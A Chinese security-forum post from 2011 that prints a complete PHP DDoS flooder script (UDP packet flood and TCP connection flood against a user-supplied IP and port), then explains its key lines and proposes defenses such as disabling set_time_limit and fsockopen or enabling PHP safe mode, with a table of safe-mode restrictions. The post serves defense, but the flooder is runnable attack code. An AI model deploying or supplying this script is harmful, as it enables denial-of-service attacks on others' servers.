请选择 进入手机版 | 继续访问电脑版

噩靈戰隊

 找回密码
 立即注册

QQ登录

只需一步,快速开始

噩靈戰隊 主站 编程 web编程 查看内容

[原创]从PHPDDOS源码谈防御

2011-11-21 12:46| 发布者: Trojan| 查看: 63| 评论: 0

摘要: 作者:tenzy 信息来源: 噩靈戰隊 http://bbs.x-xox-x.com/ ?php$packets = 0;$ip = $_POST;$rand = $_POST;set_time_limit(0);ignore_user_abort(FALSE);$exec_time = $_POST;$time = time();print "Flooded: $ip on ...
作者:tenzy  [ESST]
信息来源: 噩靈戰隊[Evil-Soul Security Team] http://bbs.x-xox-x.com/
<?php
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65500;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() >$max_time){
break;
}
$fp = fsockopen("udp://$ip",$rand,$errno,$errstr,5);
if($fp){
fwrite($fp,$out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (".round(($packets*65)/1024,2) ." mB)  \n";
;echo '   ';
ini_set("display_errors","Off");
$packets = 0;
$ipb = $_POST['ipb'];
$portb = $_POST['portb'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['timeb'];
$time = time();
$max_time = $time+$exec_time;
while(1){
$packets++;
if(time() >$max_time){
break;
}
$fp = fsockopen("tcp://$ipb",$portb,$errno,$errstr,0);
}
echo "<br />\n";
echo "<br />\n";
echo "-";
echo "<br />\n";
echo " zgs ".$packets."g";
echo "<br />\n";
echo "<br />\n";
echo " zll ".round(($packets*74*8)/(1024*1024),2)."Mbps";
echo "<br />\n";
echo "-";
echo "<br />\n";
?>
以上是完整的PHPDDOS的参考源码,是我在网上随便搜索得来。
那样我们来看看原理。
其实很简单,
就是设置一个文本不超时,然后不断的建立TCP链接,当然也存在UDP/SYN的方式,但是链接方式不重要,
看上面关键代码就是

set_time_limit(0);和$fp = fsockopen("tcp://$ipb",$portb,$errno,$errstr,0);

为什么说这是关键代码,因为这个是让脚本不超时,一个是打开socket,这是无疑是最关键的了。
这么说来似乎找到了解决办法。
1。让脚本超时,
2。不允许打开socket

那就来看看如何解决,
让脚本不允许设置为不超时很简单,1,把set_time_limit函数禁用,2,启用PHP的安全模式(safe_mode=on)
禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,

建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是
这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS。。。


附上开启安全模式对程序的影响。

函数名 限制
dbmopen() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
dbase_open() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro_rowcount() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro_retrieve() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
ifx_* sql_safe_mode 限制(!= safe mode)
ingres_* sql_safe_mode 限制(!= safe mode)
mysql_* sql_safe_mode 限制(!= safe mode)
pg_loimport() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
posix_mkfifo() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
putenv() 遵循 ini 设置的 safe_mode_protected_env_vars 和safe_mode_allowed_env_vars 选项。请参考 putenv() 函数的有关文档。
move_uploaded_file() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
dl() 本函数在安全模式下被禁用。
backtick operator 本函数在安全模式下被禁用。
shell_exec() (在功能上和 backticks 函数相同) 本函数在安全模式下被禁用。
exec() 只能在 safe_mode_exec_dir设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd()将被作用于此函数的参数上。
system() 只能在 safe_mode_exec_dir设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd()将被作用于此函数的参数上。
passthru() 只能在 safe_mode_exec_dir设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd()将被作用于此函数的参数上。
popen() 只能在 safe_mode_exec_dir设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd()将被作用于此函数的参数上。
fopen() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
mkdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
rmdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
rename() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
unlink() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
copy() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (on source and target )
chgrp() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chown() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chmod() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 另外,不能设置 SUID、SGID和 sticky bits
touch() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
symlink() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意:仅测试 target)
link() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意:仅测试 target)
apache_request_headers()在安全模式下,以“authorization”(区分大小写)开头的标头将不会被返回。
header() 在安全模式下,如果设置了 WWW-Authenticate,当前脚本的 uid 将被添加到该标头的realm 部分。
PHP_AUTH 变量 在 安全模式下,变量 PHP_AUTH_USER、PHP_AUTH_PW 和PHP_AUTH_TYPE 在 $_SERVER 中不可用。但无论如何,您仍然可以使用REMOTE_USER,来获取用户名称(USER)。(注意:仅 PHP 4.3.0 以后有效)
highlight_file(), show_source() 检查被操作的文件或目录是否与正在执行的脚本有相同的UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意,仅在 4.2.1版本后有效)
parse_ini_file() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意,仅在 4.2.1 版本后有效)
set_time_limit() 在安全模式下不起作用。
max_execution_time 在安全模式下不起作用。
mail() 在安全模式下,第五个参数被屏蔽。(注意,仅自 PHP 4.2.3 起受影响)


鲜花

握手

雷人

路过

鸡蛋

最新评论

相关分类

Archiver|手机版|噩靈戰隊 ( 黑ICP备11001077号 )

GMT+8, 2012-2-23 14:38 , Processed in 0.035636 second(s), 14 queries .

Powered by Discuz! X2

© 2001-2011 Comsenz Inc.

回顶部